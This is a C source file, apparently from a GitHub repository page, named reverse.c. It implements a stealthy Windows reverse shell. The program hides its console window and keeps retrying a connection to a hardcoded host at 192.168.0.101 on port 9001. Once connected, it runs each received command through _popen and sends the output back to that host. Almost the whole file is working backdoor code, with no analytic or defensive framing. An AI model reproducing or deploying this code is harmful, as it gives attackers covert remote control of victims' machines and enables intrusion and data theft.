-
Notifications
You must be signed in to change notification settings - Fork 24
Expand file tree
/
Copy pathreverse.c
More file actions
79 lines (72 loc) · 1.83 KB
/
reverse.c
File metadata and controls
79 lines (72 loc) · 1.83 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <winsock2.h>
#include <winuser.h>
#include <wininet.h>
#include <windowsx.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#define bzero(p, size) (void)memset((p), 0, (size))
int sock;
void Shell()
{
char buffer[1024];
char container[1024];
char total_response[18384];
while (TRUE)
{
jump:
bzero(buffer, sizeof(buffer));
bzero(container, sizeof(container));
bzero(total_response, sizeof(total_response));
recv(sock, buffer, sizeof(buffer), 0);
if (strncmp("q", buffer, 1) == 0)
{
closesocket(sock);
WSACleanup();
exit(0);
}
else
{
FILE *fp;
fp = _popen(buffer, "r");
while (fgets(container, 1024, fp) != NULL)
{
strcat(total_response, container);
}
send(sock, total_response, sizeof(total_response), 0);
fclose(fp);
}
}
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow)
{
HWND stealth;
AllocConsole();
stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(stealth, 0);
struct sockaddr_in ServAddr;
unsigned short ServPort;
char *ServIP;
WSADATA wsaData;
ServIP = "192.168.0.101";
ServPort = 9001;
if (WSAStartup(MAKEWORD(2, 0), &wsaData) != 0)
{
exit(1);
}
sock = socket(AF_INET, SOCK_STREAM, 0);
memset(&ServAddr, 0, sizeof(ServAddr));
ServAddr.sin_family = AF_INET;
ServAddr.sin_addr.s_addr = inet_addr(ServIP);
ServAddr.sin_port = htons(ServPort);
start:
while (connect(sock, (struct sockaddr *)&ServAddr, sizeof(ServAddr)) != 0)
{
Sleep(10);
goto start;
}
Shell();
}